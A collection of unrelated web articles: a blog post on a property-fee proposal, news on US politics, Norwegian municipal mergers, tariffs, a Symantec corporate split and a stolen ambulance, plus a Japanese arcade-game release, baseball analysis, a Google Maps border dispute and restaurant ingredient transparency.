turnover rate. They estimate that an ideal fee level to be roughly half the rate of property turnover: A 2.5% annual rate is likely to be nearly optimal on this basis for a wide range of assets, like factories, natural resources, and houses, where investment plays a significant role but allocation can also be seriously distorted. … [This] would transfer about a third of use value to [rent recipients] … [It] achieves 70-90% of the maximum possible allocative welfare gains and the investment losses erode only 10-20% of these gains. .. [This is] likely to raise .. 10-20% of national income in most developed countries. .. The [purchase] prices of assets would be only a quarter to a half of their current level. Let me finish this post by highlighting two issues that Posner and Weyl don’t seem to discuss. First, social norms may often arise to treat those who buy property through this system as illicit “scabs” who betray a community. For example, stamp collectors might create a shared social norm to post low official prices on their stamps, and to shun anyone known to have bought stamps via such prices. This coordination could greatly reduce the average stability rents paid by stamp collectors, a gain that comes at the expense of non-stamp-collectors. Similarly, in some community members might typically put all of their property into one single bundle for one entire price of everything they own. This community might then try to identify and shun anyone known to have purchased such entire bundles. Members of this community might then get into the habit of greatly reducing the prices they put on total bundles, and thus greatly reducing their stability rent payments. If a scab were to actually try to buy such a bundle, the target would correctly feel that this scab threatened to grab a large fraction of the value of everything they own. This target might well respond emotionally and fiercely, and his or her allies might respond similarly. The threat of violence could be very real here. I thus suggest that the size of property bundles be limited to much smaller scales. After all, it is hard to see many people actually buying such large bundles, and thus hard to see how huge bundles can add much to allocative efficiency. I also suggest that stability rents be refunded via small enough pools of socially-connected people. The idea is for pools to be small enough to discourage groups from coordinating to reduce their payments relative to outsiders, and yet large enough for fees to give individuals strong incentives to reveal their property values. The second issue I want to highlight is that a second enforcement mechanism exists. The mechanism that Posner and Weyl consider for encouraging people to declare accurate values for their property is the prospect that someone might come along and honestly value it at more than the declared price. In commodity futures markets, however, most traders are speculators who don’t actually intend to take delivery of the commodity traded; they instead hope to get out of the market before the official delivery date, and to profit from having bought low and sold high. Similarly, in this system there could also be speculators who seek to profit from mispricings, but who don’t want to actually take delivery of property. When the owner A of some property puts a price offer P1 on it, and then B accepts that offer on date D, then A might have a month M until they have to actually make the property available for B to control on date D+M. Before date D+M, it is B who officially owns the property, and by the rules of this system B must offer a new price P2 for anyone else to take. But if C accepts this P2 offer during this period, it makes more sense for C to gain the right to take control of the property from A on date D+M, instead of forcing B to actually take delivery and then have another month to transfer it to C on date D+2M. But if this is the rule, then an original owner A who had underbid and set price P1 below their actual value V might be tempted to pay a higher price P2 to get their property back again, with P1 < P2 < V. And a speculator might take the role of B hoping for just this outcome, from which they would gain a pure cash profit of P2-P1. Given a chance Q of A having underbid and thus being willing to pay P2 to get it back, taking on such a speculator role to challenge A’s claim of value P1 should on average be profitable if Q*(P2-P1) > (1-Q)*(T+P1-P0), where T is the speculator’s transaction cost and P0 is the price they expect to get selling the property to a third party. People who are in the market to buy a property like this, but who are flexible on which particular property they buy, are in an especially good position to take on this speculation role, as they have an especially low added transaction cost. After all, they were already going to buy and pay a transaction cost. Thus professional speculators and flexible buyers will watch for clues that indicate underbid properties that can be profitably challenged. And if society applies a norm of honestly to value declarations, we may not feel much sympathy for people who are “exploited” due to lying about their values for property. As a result, owners are induced to limit how far they set prices below their actual values both by the prospect that sincere buyers will arrive who sincerely value the property at more than their declared price, and also by speculators looking to profit from underbids. This means that for any given fee rate, declared values will be more honest. We can thus set fees to lower higher levels than we otherwise might and still get good allocative efficiency. Overall I find this proposal quite promising, though still underspecified. Someone really needs to work out what sort of blockchain and IOT arrangements might actually be workable here. I’d also like to see something better for dealing with asymmetric info on property features than the inspection proposal given. And of course we should do lab experiments and field trials before we actually adopted such property rules on a large scale. GD Star Rating a WordPress rating system

Rep. Adam Schiff Adam Bennett SchiffTop Democrats call for DOJ watchdog to probe Barr over possible 2020 election influence Overnight Defense: Top admiral says 'no condition' where US should conduct nuclear test 'at this time' | Intelligence chief says Congress will get some in-person election security briefings Overnight Defense: House to vote on military justice bill spurred by Vanessa Guillén death | Biden courts veterans after Trump's military controversies MORE (D-Calif.) criticized President Trump on Thursday for comments that raised questions about Russia's meddling in the 2016 presidential race. Trump said at a press conference in Poland earlier on Thursday that he thinks Russia and "people in other countries" likely meddled in the presidential election, but "nobody really knows." Schiff, the top Democrat on the House Intelligence Committee, said Trump's comments "continue to directly undermine U.S. interests." ADVERTISEMENT "This is not putting America first, but continuing to propagate his own personal fiction at the country's expense," Schiff said in a statement. He added that Trump needs to have the "courage" to bring up the Russia's interference in the U.S. election with Russian President Vladimir Putin. "Otherwise the Kremlin will conclude he is too weak to stand up to them," Schiff said. "That would be a historic mistake, with damaging implications for our foreign policy for years to come." Schiff also called for Trump to confront Russia over its "continued destabilization of Ukraine, and the illegal annexation and continued occupation of Crimea and parts of Georgia." "He should make it clear that the U.S. is not going to make common cause with Russia in propping up Bashar al-Assad in Syria, nor turn a blind eye to any potential Russian support of the Taliban or increased trade with North Korea," Schiff said in the statement. Trump in the past has decried the investigations into the Russian meddling in the 2016 presidential race, including possible collusion between his campaign and Moscow, calling the probes a "witch hunt."

6人同時プレイもできるお絵描きバトルゲームが登場 セガ・インタラクティブは、2016年2月19日・20日に千葉・幕張メッセで開催されている“ジャパン アミューズメント エキスポ 2016”にて、自分が描いた絵が画面上に登場し、敵戦闘機と戦うお絵描きアミューズメントマシン『らくがきカードバトル撃墜王』を公開した。 広告 以下、リリースより。 『らくがきカードバトル撃墜王』 描いた絵が飛び出す！絵が戦闘機になってバトル開始！！ 「カード」「お絵かき」「競う」「戦う」といった子供が大好きな要素が詰まった新ジャンルのアミューズメントマシンが登場！ 『らくがきカードバトル撃墜王』は、自分で絵を描いたり、色を塗ったカードをモニター上に置くと、その絵がリアルに画面上に現れます。 操作は簡単で、ボタンを押すと、絵からミサイルが発射され、敵の戦闘機を攻撃します。 ゲームは6人同時にプレイすることができ、みんなで一緒に楽しく盛り上がることができます。 《製品特長》 ●描いた絵が飛び出す！ 無地カードもしくはぬり絵カードを購入し、無地カードに好きな絵を描いたり、ぬり絵カードに色を塗ってカードをモニター上に置くとバトル開始！ 描いた絵がスキャンされて飛び出します。 ●描いた絵で戦闘機の強さが決まる！ 描いた絵・ぬり方によって戦闘機の強さが変わります。絵の上手い下手で戦闘機の強さが決まらないので、子供も大人も平等に戦えます。「ぬり絵」カードは10種類あり、小さなお子様や絵を描くのが苦手な方でも楽しく遊べます。 ●ボタン連射攻撃！ ボタンを連打するとミサイル攻撃ができます。ボタン連打が苦手な小さなお子様は、ボタンを押さなくても自動攻撃を行うため、年齢、スキルによって大きな差が出ないようになっています。 ●6人同時プレイ！ 仲間や居合わせた方と一緒に楽しめます。6人揃わなくても、それまでに子供達が描いた戦闘機がCPU機として登場し、6機で戦闘する仕組みとなっています。

I think most people know that Aaron Nola and Jake Arrieta are members of the Philadelphia Phillies’ rotation. I’m guessing that a lot of you — even those not from or otherwise affectionate towards Philadelphia — could identify Vince Velasquez as a Philly starter, too. It may interest you to know, then, that none of these three men, all possessed of relative fame, led their club in strikeout percentage as a starter last year. The man who did so struck out fully 27.1% of the batters he faced, which was the 14th-best such mark in the league among starters with as many innings thrown. He also posted, at 1.01, the second-highest differential between his ERA (4.80) and FIP (3.79) in the game. His name is Nick Pivetta. Nick Pivetta is 25 years old. You may wish to consider Nick Pivetta. When my colleague Jeff Sullivan last considered Nick Pivetta, back in April, he called him “the newest good Phillies starter,” and gave particular attention to Pivetta’s renewed confidence in his curveball. Nothing in Pivetta’s 2018 performance suggested Jeff was off the mark in this assessment, and indeed there may now be more reasons to be optimistic about the right-hander’s future than there were before the year. Here’s one of them: a heat map of all the curveballs Pivetta threw this year (from the pitcher’s point of view): And here’s that same chart, but for 2017: In 2017, the curveballs Pivetta threw were basically in the same spot — down and away to righties; down and in to lefties — whether he was ahead or behind in the count. As a pitcher, it’s good not to do the same thing all the time. So it’s very encouraging that this year, Pivetta found two new places to throw his curveball: in on right-handers’ hands, even when behind in the count, and down and away to lefties. Pivetta used to have one curveball, and now he has four. Because of the way his pitches interact — as Jeff noted, he uses his curveball mostly to set up his fastball — that means an even greater increase in the number of possible pitch sequences available to him. And it’s not as if Pivetta spent the entire year reliant on that promising curve. Although he ended 2018 having thrown the pitch 21.7% of the time — more than six points above his 2017 mark — he wasn’t consistent in his use of the pitch throughout the season. In April, when Jeff wrote about it, Pivetta was going to the curve around 27% of the time. By the end of the year, with the Phillies solidly out of contention and (presumably) with a tiring arm, Pivetta went to the curve a little less than 19% of the time. The difference was, for the most part, made up by his increased use of a sinker, which generates an unusually high percentage of whiffs for a pitch of its kind (8.3% in 2018). That ability to adjust an otherwise successful approach as the season goes along augurs well for his future. Which brings me to another promising thing about Pivetta’s 2018 — he didn’t really get worse as the season went along, despite setting a career high in innings pitched: Nick Pivetta Didn’t Slow Down In 2018 IP K% BB% WHIP ERA FIP FB% Hard% 1st Half 96.1 27.4% 7.3% 1.32 4.58 3.76 35.4% 34.0% 2nd Half 67.2 26.7% 7.5% 1.29 5.05 3.84 33.9% 28.8% When it comes to pitching, the best predictor of success in the future is success in the past, and we now have evidence that Pivetta can put up a FIP- better than league average (92) over a full season. That isn’t evidence we had before the season (Pivetta was never especially highly regarded as a prospect), and it means that it’s now reasonable to expect something at least close to that level of performance in 2019. Pivetta is never going to be a guy who blows you away with his stuff or his velocity — his spin rate is just about average, and his velocity is fast but not otherworldly in this supercharged environment — but he can be a guy fully in command of four serviceable big-league pitches, and that’s not nothing today or any day. For a fourth starter, it’s very good indeed. What I’ll be paying attention to in 2019 is whether the large gap between Pivetta’s ERA and his FIP, which I noted at the beginning of this piece but have left unmentioned until now, persists for a third consecutive season. There are some players who just consistently under-perform their peripherals for one reason or another, and a third season with an ERA more than a full point above his FIP might be reasonable evidence that Pivetta is one of those guys. It might also just be evidence that Philadelphia’s defense is unusually terrible. Batters hit over .300 on ground balls against Pivetta in 2018, which is unusual given that the league average usually sits in the .240s; he also allowed an unusually high slugging percentage on fly balls. Maybe some of those balls will find gloves in 2019. Maybe they won’t. Again, Philly’s defense was very bad in 2018. Either way, we’ll learn something. For now, Pivetta remains one of the better young starters in the game, and a key component of what could be — depending on how free agency plays out — a very solid Phillies team in 2019.

Hop over to Google Maps and scroll to the eastern shore of Nicaragua and Costa Rica — or just click here — and you’ll see the section above. Costa Rica is the darker green region to the south and extending up the coast; Nicaragua is the lighter green area. It’s pretty clear, from this map at least, that Isla Calero — known as Calero Island in English — is in Costa Rica. But that fact is in dispute. Nicaragua, relying on a border interpretation different from that of Costa Rica’s, claims sovereignty over the northern tip of the island. Below, via Wikipedia, is a map clearly outlining the claims. There are a lot of disputed border lines around the world and, therefore, a lot disputed territories. In general, these debates are between cartographers and bureaucrats and don’t boil over into military action. The Calero Island dispute is one of these otherwise-peaceful ones — usually. But in 2010, something went wrong. And Google Maps was probably to blame. In the fall of 2010, Nicaragua sent a small force toward the disputed area, intending to dredge an approximately 20 mile-long (33 km) stretch of the San Juan River. On its face, there was nothing nefarious about the operation — it was an engineering job and the military was best equipped to perform it. But the Costa Rican government disagreed. From Costa Rica’s perspective, the Nicaraguan dredging crew had crossed the border between the two nations; intentionally or not, Nicaragua had just invaded Costa Rica. The Nicaraguans didn’t see it the same way. More than a century and a half earlier, the two sides entered into a treaty which sets the boundaries between the two nations. Most interpretations put the disputed area, above, under control of Costa Rica, and Costa Rica acted accordingly. Seeing the incursion of its territory, the Costa Rican government deployed 70 law enforcement agents to the area. Nicaragua responded with 50 troops of its own, and an international incident had begun. Most of the world agreed that Costa Rica controlled the area, pursuant to the treaty linked to above. But a minority interpretation of that treaty — one favored by Nicaragua — said otherwise. And in support of that interpretation, according to Costa Rican press at the time, the commander of the Nicaraguan press cited Google Maps. For reasons unclear, it seemed that Google’s seemingly authoritative maps product roughly agreed with Nicaragua’s interpretation of the treaty. The New York Times explained: “The digital atlas had indeed placed the eastern end of the border between the countries to the south of the generally accepted line, providing Nicaragua with a territorial gain of a few square miles.” The Nicaraguan commander saw this likely error as an opportunity; if Google says it, it has to be true, right? Thankfully, no blood was shed. The two nations resolved their dispute peacefully via international arbitration, although the process itself was contentious and, even as recently as 2016, some details were still in dispute. But the real victims of the non-war were the product managers at Google, who had to eat crow. On November 5, 2010, Google announced that “yesterday they became aware of a dispute that referenced the border between Costa Rica and Nicaragua as depicted on Google Maps. This morning, after a discussion with the data supplier for this particular border (the U.S. Department of State), we determined that there was indeed an error in the compilation of the source data, by up to 2.7 kilometers. The U.S. Department of State has provided a corrected version and we are now working to update our maps.” Bonus fact : The Ft. Lauderdale suburb of Sunrise, Florida, is home to about 90,000 people and hosts the arena of the NHL’s Florida Panthers. But in the fall of 2010 — a few weeks before the Nicaraguan invasion of Costa Rica — Sunrise disappeared from the map. Okay, only from Google Maps. As CNN reported, “people who searched Google Maps for the city were directed instead to Sarasota, Florida — a place that, while an alphabetical cousin of Sunrise, is actually 200 miles away. No Sunrise business or addresses or phone numbers showed up. Even city hall and other public entities were strangely absent.” Google said they fixed the error, but the mayor of the city wasn’t convinced; he told CNN that “this [was] ithe third time Google has dropped his city off the digital map.” (It hasn’t happened since, though.) From the Archives : The Middle of Nowhere: Google Maps’ map of the town that doesn’t exist (and never has.)

Hei, denne artikkelen er over ett år gammel og kan inneholde utdatert informasjon (Dagbladet): Etter flere måneder med forhandlinger ble Høyre, Frp, KrF og Venstre enige om en kommunereform denne uka. Den innebærer tvangssammenslåing av 13 norske kommuner. Nå kan Dagbladet gi et innblikk i forhandlingene bak, for å forklare hvorfor akkurat disse kommunene blir foreslått tvangssammenslått og ikke andre. I bunn ligger fagrådene fra Fylkesmannen, men det handler også om politisk spill, bostedsadressen til enkelte stortingsrepresentanter, hvor stortingspolitikerne forventer minst «bråk», og lojalitet til lokalpolitikere. Høyre-mastodont Etter det Dagbladet erfarer var stortingsrepresentant Ingjerd Schou (H) pådriveren for at Høyre-kommunene Eidsberg og Spydeberg skulle bli tvangssammenslått med Askim og Hobøl. Schou er selv bosatt i Spydeberg, og gift med Spydeberg-ordfører Petter Schou (H), som personlig har vært positiv til sammenslåing. PAR: Høyres Ingjerd Schou (t.v) og Spydeberg-ordfører Petter Schou (H) på Nobelprismiddag. De to politikerne er gift. Foto: Jon Olav Nesvold / NTB Scanpix Vis mer Hun beskrives som «ekstremt opptatt av Eidsberg», og tilskrives mye av æren for at sammenslåingen ble en realitet. Schou selv ønsker ikke å kommentere opplysningen. - Jeg synes det er fint at vi får en ny kommune i Indre Østfold hvor fire Høyre-ordførere nå tar fatt med konstruktiv positivitet, men har ikke tenkt å kommentere forhandlingene bak. Avtalen som er inngått stiller alle seg bak, sier Schou til Dagbladet. Frp-baby i sør På samme måte skal tvangssammenslåingen av Haram inn i Ålesund, Skodje, Sandøy og Ørskog, være et av Frps ønsker i reformen. Dagbladet får opplyst at parlamentarisk leder Harald Tom Nesvik i Frp skal ha vist særlig engasjement for saken, siden han selv kommer fra Ålesund. Det skal imidlertid ha vært relativt stor enighet i de tre partiene om akkurat denne sammenslåingen. Da var det mer bråk om tvangssammenslåingen mellom kommunene Mandal, Marnardal, og Lindesnes. Kommunesammenslåingen beskrives som Frps baby i kommunereformen, noe som forklares med at Mandal-ordfører Alf Erik Andersen fra Frp har stått på for en slik løsning. Frp møtte stor motstand fra særlig KrF, men fikk gjennom sammenslåingen da sistnevnte valgte å trekke seg fra tvangsdelen av reformen. Leder Helge Andre Njåstad (Frp) i kommunalkomiteen kommenterer opplysningene på følgende måte: TEAM: Helge Andre Njåstad (Frp) sammen med André N. Skjelstad fra Venstre (t.v) og kommunalminister Jan Tore Sanner (H). Foto: Tore Meek / NTB scanpix Vis mer - Det er naturlig at stortingspolitikere har lyttet til sine folkevalgte lokalt, og at deres mening og holdninger til ting har noe å si for de forskjellige partiene, sier han. Endrer Trines Namdal I Sør-Trøndelag gikk særlig Høyre inn for at Høyre-kommunen Ørland og naboen Bjugn skulle tvinges sammen, på tross av at Bjugn allerede hadde vedtatt sammenslåing med naboen Åfjord. Fylkesmannen hadde imidlertid gitt tydelige anbefalinger om at de to kommunene burde slås sammen, og Høyre møtte ikke noen stor motstand i spørsmålet. Da var det mer diskusjon om sammenslåingen Venstre fikk gjennom i Ytre Namdal i Nord-Trøndelag, som er hjemfylket til både namdaling og Venstre-leder Trine Skei Grande og kommunalpolitisk talsmann Andre N. Skjelstad, som har vært Venstres mann rundt forhandlingsbordet. - Vi har ment at det er viktig å få på plass en helhetlig løsning for Ytre Namdal, inkludert Bindal, sier Andre Skjelstad (V). Nyheten om sammenslåingen har allerede skapt store lokale protester. Stortinget går nemlig inn for å spleise Leka, Bindal, Nærøy og Vikna uten at kommunene har sagt ja til en slik sammenslutning, og til tross for at øykommuner som Leka ble lovet at de skulle bli ekstra tatt hensyn til i spørsmålet om tvang. Venstre-lokallagene i regionen er imidlertid godt fornøyd. - Vi hadde sammenslåing som den viktigste saken i kommunevalgkampen både i Leka, Nærøy og Vikna og da frontet vi saken sammen med Skjelstad, som var fylkesleder på den tida. Siden har vi jobbet for å følge det opp. Da det ble det nei i folkeavstemningen i Vikna, tok Skjelstad opp ballen, sier lokallagsleder Bjørn Ola Holm i Vikna Venstre. Står sterkt Han sier Venstre står sterkt i Ytre Namdal, og synes ikke det er rart at lokallagenes ønske har betydd noe i prosessen. VENSTRE-ØNSKE: Sammenslåingen i Ytre Namdal har hele veien vært Venstres klare ønske i reformen. Venstre-leder Trine Skei Grande kommer selv fra den nordtrønderske regionen. FOTO: Hans Arne Vedlog / Dagbladet. Vis mer - Dette handler om hvor du har politisk gjennomføringsevne, og hvilke steder partiene står sterkt lokalt, og det er naturlig, sier han. Etter det Dagbladet forstår skal Venstre også ha vært en pådriver for sammenslåingen mellom Balestrand, Leikanger og Sogndal, til dels fordi lokallagene i alle tre kommuner ønsket det, men også fordi Venstre så behov for å gjøre kommunen mer robust fordi det er en høy andel statlige arbeidsplasser der. Det var imidlertid lite bråk om både denne sammenslåingen, et nytt stor-Kristiansand, og sammenslåingen Fet-Sørum-Skedsmo i Akershus. Frp var en stund skeptisk til å la Høyre-styrte Sørum bli sammenslåingen fordi kommunen er svært gjeldstynget, men skal ha gitt etter for særlig Høyre, forklarer en kilde. Flere kilder forteller at sammenslåingen i kommunalminister Jan Tore Sanners hjemfylke var viktig for å sørge for at også Østlandet fikk sin andel tvangsbruk. Reddet av Frp og V Den vanskeligste saken i de betente diskusjonene om kommunetvang, skal ha vært ekteskapet mellom Sandnes og Forsand i Rogaland. De to kommunene grenser ikke mot hverandre, og fikk tommelen ned fra Fylkesmannen da de ba om velsignelse. Når de nå likevel blir et par er det mye på grunn av Frps innsats for å redde ekteskapet. Alle andre partier var skeptiske til sammenslåingen og ville i utgangspunktet ikke tillate den, blir Dagbladet forklart. Det ble også lenge diskutert om Evenes skulle bli tvunget sammen med naboene Ballangen, Narvik og Tysfjord, men kommunen skal ha blitt «reddet» helt i sluttspurten av Venstre. Drama i siste sekund De siste to-tre ukene har særlig vært nervepirrende. I KrF pågikk det lenge interne drakamper om tvangsbruk i reformen, før partiet til slutt konkluderte med at de ikke ville støtte noen form for kommune-tvang. Usikkerheten om KrFs rolle i kommunereformen gjorde at Frps stortingsgruppe vurderte å trekke seg fra gjennomføringen av regionreformen, forklarer en kilde. Det store diskusjonstemaet i regionreformen skal ha vært hva som skal skje i fylkene rundt Oslofjorden, med Frp og Høyre som steile motparter. Pakken ble avgjort da Frp sa ja til tvang i regionreformen på et ekstraordinært gruppemøte tirsdag kveld. Hadde partiet sagt nei da, hadde ingen norske kommuner blitt slått sammen med tvang, for da hadde Venstre gjort som KrF og trukket seg fra all tvangsbruk i reformen, etter det Dagbladet forstår.

Confirmed late Thursday, US software manufacturer Symantec Corporation (NASDAQ: SYMC), the maker of the popular Norton Antivirus software, will be splitting the company into two publicly traded companies with specific focuses. Symantec announced that one firm would be focused on security while the other will be focused on information storage and management. Symantec had explored the possibility of spinoffs in the past, but had shelved the idea until now. The news of Symantec’s spinoffs came in lieu of other struggling technology companies, such as eBay Inc. (NASDAQ: EBAY) and Hewlett-Packard (NYSE: HPQ), spinning off their business divisions. The division of struggling technology firms’ core businesses seems to be a common trend and should prove to be a very economically efficient model. The splitting of the businesses would allow the new entities to become more focused on specific tasks leading to heightened efficiency and increased profitability hence making the company more appealing to investors and possible takeover offers. Currently, Symantec’s storage business accounts for 38% of Symantec’s revenues with an operating margin of 23%, but the company that is on most analysts’ radars is Symantec’s cyber security business. This division has really struggled as competition heats up with a new generation of cyber security firms such as FireEye (NASDAQ: FEYE) and Palo Alto Networks (NYSE: PANW), entering the market. According to analysts, Symantec is not as innovative as the other cyber security firms currently in existence. The newer firms are able to offer a new generation of products to businesses who are more worried than ever about the threats of cyber-attacks. Analysts also believe that Symantec’s security’s business model is not monetized as well as their competitors. As of now, Symantec has not decided on how to distribute the new shares among the two new companies. The spinoffs are expected to be finalized by December 2015.

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Looking for information about COVID-19 and how it affects Hot Springs? Most of our attractions & businesses are now open to some extent, with modifications to service. Please call ahead to any business or attraction you are interested in visiting to check on recent updates to their availability of services, or any special guidelines or accommodations they have chosen to put in place, such as mask requirements, maximum occupancy, or curbside/delivery. Business owners, please visit southernhillsdevelopment.com for a comprehensive collection of information to assist you. Thank you Southern Hills Economic Development (SHEDCO) for compiling this.

The NFL announced on Monday that more Johnny Manziel No. 2 Cleveland Browns jerseys were sold on NFLShop.com during the first quarter of the league's fiscal year than any other player's jersey. Manziel topped Super Bowl-winning Seattle Seahawks quarterback Russell Wilson (No. 2), San Francisco 49ers quarterback Colin Kaepernick (No. 3) and Denver Broncos quarterback Peyton Manning (No. 4). Only two jerseys of defensive players were in the top 10. The jerseys of Seahawks cornerback Richard Sherman and St. Louis Rams defensive end Michael Sam, the first openly gay man drafted, were fifth and sixth, respectively. Aside from those of Wilson and Sherman, three other Seahawks jerseys finished in the top 25, the most of any team. The "12th Fan" jersey finished 10th, running back Marshawn Lynch's was 11th and safety Earl Thomas's was 20th on the list.

Refried beans, soup, risotto, cheese and cornbread — those items may seem like innocuous vegetarian foods, but a lot of restaurants integrate animal fat or meat-based broths into them. (And, in case you didn’t know, many cheeses, including Parmesan, contain rennet, which is cultivated from calf stomach.) If you’re a vegetarian, how do you know what you’re really eating? For instance, Husk Restaurant’s cornbread is made with bacon fat — that’s why it tastes so good — but the menus at its locations in Greenville, South Carolina, and Nashville read as if it might be vegetarian (those dishes don’t contain bacon crumbles), but at its sites in Savannah, Georgia, and Charleston, South Carolina, explicitly list bacon on the menu. grandriver via Getty Images Cracker Barrel’s corn muffins contain bacon drippings, but it isn’t mentioned on the menu. On the other hand, Roscoe’s House of Chicken and Waffles and Dirty Bird’s cornbreads are free of animal fat. But how is a consumer really supposed to know? Recently, restaurant transparency has become more common, especially at fast-casual chains. In May 2018, the Food and Drug Administration created a rule stating that restaurants that are part of a chain with 20 or more fixed locations must disclose calories for “standard menu items listed on menus and menu boards.” Some restaurants have taken the measure further by making allergen matrices and vegetarian/vegan info available to the public through their websites. Moe’s Southwest Grill does one of the best jobs of fast-casual Mexican chains in offering a section for special diets — vegetarian, vegan, gluten-free, nutrient-dense and keto. Its customizable vegetarian section mentions that the chain works with a nutritionist, and its cheeses and sour cream are animal rennet-free. Also, it cooks meat and veggies on separate grills. Moe’s chief marketing officer, Verchele Wiggins Roberts, told HuffPost the company introduced the special menus late last year. “We noticed through web analytics that the Nutrition Calculator was one of the most visited pages on our website, so that tipped us off that there was an opportunity to better show our guests how to use our menu to better fit their lifestyle,” she said. Like Chipotle, it offers organic tofu and more than 20 other vegetarian-friendly items. “At Moe’s, it’s really important for us to be transparent about our ingredients because we want to educate our fans on the ease of dining at Moe’s, no matter what your lifestyle.” Other Mexican chains are (mostly) doing a good job of catering to vegetarians. Chuy’s refried beans don’t contain pork fat (but some of their cheeses do contain rennet); Qdoba’s website could be more detailed with vegetarian info, but a representative told HuffPost that its cheeses contain no rennet, the tortilla soup is made with vegetable broth and the refried beans do not have pork fat. Mistakes have led to better transparency. This level of transparency hasn’t always existed, though. In 2011, Chipotle came under fire when a customer discovered the pinto beans he had been consuming for years had bacon in them; the secret ingredient wasn’t stated on in-store menus. The outrage encouraged Chipotle to transform the beans into a vegetarian dish beginning in 2013. Thunderdome Restaurant Group, based in Cincinnati, manages more than 30 restaurant locations nationwide, which includes concepts Bakersfield (tacos), The Eagle (fried chicken), Currito (fast-casual burritos) and Krueger’s Tavern. In 2015, a few months after it opened in Cincinnati, Krueger’s offered a polenta cake side (braised fennel and olives, tomato sauce, Parmigiano-Reggiano) but left out the fact the sauce contained bacon. Paul Grossmann via Getty Images Many cornbreads are made with bacon fat or lard. (Even your store-bought mixes aren't safe: Jiffy contains hydrogenated lard.) “I don’t know what happened. It might have been an oversight,” Joe Lanni, Thunderdome co-founder, told HuffPost. “We’re pretty sensitive to all that kind of stuff.” (The item remains on the menu and now mentions the bacon.) Every day, Lanni fields ingredient-based questions from customers, and he and the staff consider customers’ special diets when developing recipes. “This is something we’re thinking about: How are we going to list it on the menu, and how are we going to make sure people know? ... People want to know what’s in [their food]. It’s just a reality of doing business today. People are asking for it, and you need to arm your staff with that information. Otherwise, you’re not doing a great job for your guests.” Not all restaurants fall under the legislation that requires transparency. New York City chainlet Xi’an Famous Foods believes in transparency. On its website, the restaurant elucidates dishes that are vegetarian and vegan. This is because in 2017, NYC Health passed legislation that requires chains with 15 or more locations to display nutritional info (Xi’an wavers between 14 and 15 locations). However, right now no legislation exists that would force restaurants to exhibit vegetarian info. “I think restaurant owners have the same amount of obligation to inform guests just as if my grandmother is cooking and telling us what’s in what dish she serves to family,” said Jason Wang, Xi’an’s founder and CEO. “I am not opposed to legislation that requires everyone to disclose info, but I just believe it should be fair and required for all.” Only a few of Xi’an’s dishes are vegetarian. Its spicy and sour spinach dumplings — stuffed with ground spinach and vermicelli noodles — sounds like it’s vegetarian, but Wang said the sour and spicy dumpling broth is simmered in the same water that its lamb dumplings are cooked in. Wang said adding the meat ingredient to the menu description would make it “verbose,” and he hoped Xi’an’s diners would already be familiar with what’s in the soup. He thinks one reason restaurants have become more limpid with ingredients is because of competition. “For example, if a burger has less calories and less fat and less sodium than a competitor’s and tastes just as good or better, it’s a competitive edge,” he said. If non-chains want to comply with providing nutritional info, it generates an obstacle that small businesses might not be able to afford. “Think of the ethnic food establishments,” Wang said. “Will they have enough expertise to follow all of the regulations there are now? What we will see is a decline of these establishments, and that’s a shame.” How does a diner avoid accidentally ordering an item made with an animal product? Asking the wait staff questions about the menu seems like the ideal approach, but Wang said it’s more complicated than that. “In this labor market, to have very dedicated servers that know enough about the food is an unspoken challenge that plagues most operators,” he said. “The simple answer is, have better-trained staff,” Wang added. “The realistic situation is that there’s just difficulties to that, due to qualified labor shortages. A lot of [mistakes] that make it to the news, I believe are due to lack of qualified labor in the economy. Automation helps, such as presenting ingredients’ information to people using technology.”

Jon Hand, and Victoria E. Freile Democrat and Chronicle A drunk University of Rochester student took an ambulance for a brief joy ride early Thursday morning before crashing into a flower bed and getting arrested by Rochester police, officials said. Robert C. Cordaro Jr., 22, a senior from Dunmore, Pennsylvania, pleaded not guilty in City Court Thursday morning to charges of third-degree grand larceny and fourth-degree criminal mischief, both felonies, according to City Court records. He's also accused of driving while intoxicated and driving with a blood alcohol content greater than .08 percent, both misdemeanors, and is facing numerous vehicle and traffic violations, including speeding. Rochester Police Capt. Gary Moxley said a Rural/Metro ambulance crew responded to 740 Library Road on the UR River Campus shortly after 2:15 a.m. to treat an intoxicated male. While the ambulance crew was assisting that person, a 22-year-old man jumped inside the ambulance and drove away, making it about a quarter-mile before "leaving the roadway and getting stuck in a flower bed on Trustee Road," Moxley said. The ambulance, which is worth about $100,000, was damaged in the crash and had to be towed. Cordaro was uninjured when he was found behind the ambulance wheels by UR safety officers. According to court records, Cordaro told officers he had been drinking and that taking the ambulance was "stupid." Court documents show his BAC was more than twice the legal threshold for DWI more than an hour after the crash. According to UR athletics' website, Cordaro was a member of the Yellowjackets' football team. He was remanded to the Monroe County Jail in lieu of $1,500 cash bail or bond and is scheduled to return to City Court on Monday morning. This isn't the first time in recent months that a university student was accused of stealing an ambulance while intoxicated. Colin A. Dahlberg, 23, of Pittsford, a student at the State University College at Geneseo, allegedly stole an ambulance and drove it around Geneseo while using the ambulance radio. He's facing four felonies and two misdemeanors, including two driving while intoxicated charges, and is due to appear in Livingston County Court next week. [email protected] [email protected]

Canada and Mexico on Monday lifted tariffs on a slew of U.S. goods, including steel, aluminum, whiskey and beef as the three countries push for ratification of an updated trade agreement. The moves by Canada and Mexico come three days after President Trump Donald John TrumpBiden on Trump's refusal to commit to peaceful transfer of power: 'What country are we in?' Romney: 'Unthinkable and unacceptable' to not commit to peaceful transition of power Two Louisville police officers shot amid Breonna Taylor grand jury protests MORE struck a deal to exempt both trading partners from U.S. tariffs on steel and aluminum imports. Trump imposed tariffs of 25 percent on imported steel and 10 percent on imported aluminum in March 2018 and ended an exemption for Canada, Mexico and several others two months later. ADVERTISEMENT Canada and Mexico were among several countries to impose tariffs on U.S. steel and aluminum last June in retaliation, also targeting American orange juice, whiskey and beef. Trump imposed the tariffs in part to create leverage over Canada and Mexico as the three nations renegotiated the North American Free Trade Agreement (NAFTA). Both countries insisted that the steel and aluminum tariffs be lifted before ratifying the new version of NAFTA that was finalized in October. The new deal, called the U.S.-Mexico-Canada Agreement (USMCA), requires the approval of legislatures in all three countries before it can go into effect. "With these developments, Canadian and American businesses can now get back to what they do best: working together constructively and supporting good, well-paying middle class jobs on both sides of the border,” said Canadian Finance Minister Bill Morneau in a statement. “The removal of tariffs and countermeasures is a true win-win for everyone involved, and great news for Canadian and American workers, for our communities, and our economies." Trump’s deals with Mexico and Canada help eliminate one obstacle to getting the USMCA approved by Congress. Sen. Chuck Grassley Charles (Chuck) Ernest GrassleyThe Hill's 12:30 Report: Ginsburg lies in repose Top GOP senators say Hunter Biden's work 'cast a shadow' over Obama Ukraine policy 